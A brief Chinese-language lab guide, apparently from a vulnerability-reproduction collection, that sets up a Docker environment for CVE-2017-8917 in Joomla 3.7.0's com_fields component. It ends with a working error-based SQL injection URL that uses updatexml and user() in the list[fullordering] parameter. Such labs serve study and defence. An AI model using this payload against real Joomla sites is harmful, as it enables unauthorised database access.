简介
漏洞是由此Joomla 3.7.0 版本中引入的新组件（com_fields）带来的
环境搭建
cd /root/vulhub/joomla/CVE-2017-8917
docker-compose up -d
启动后访问http://your-ip:8080即可看到Joomla的安装界面
按照顺序安装即可
安装完成后，访问http://your-ip:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)，即可看到报错信息：
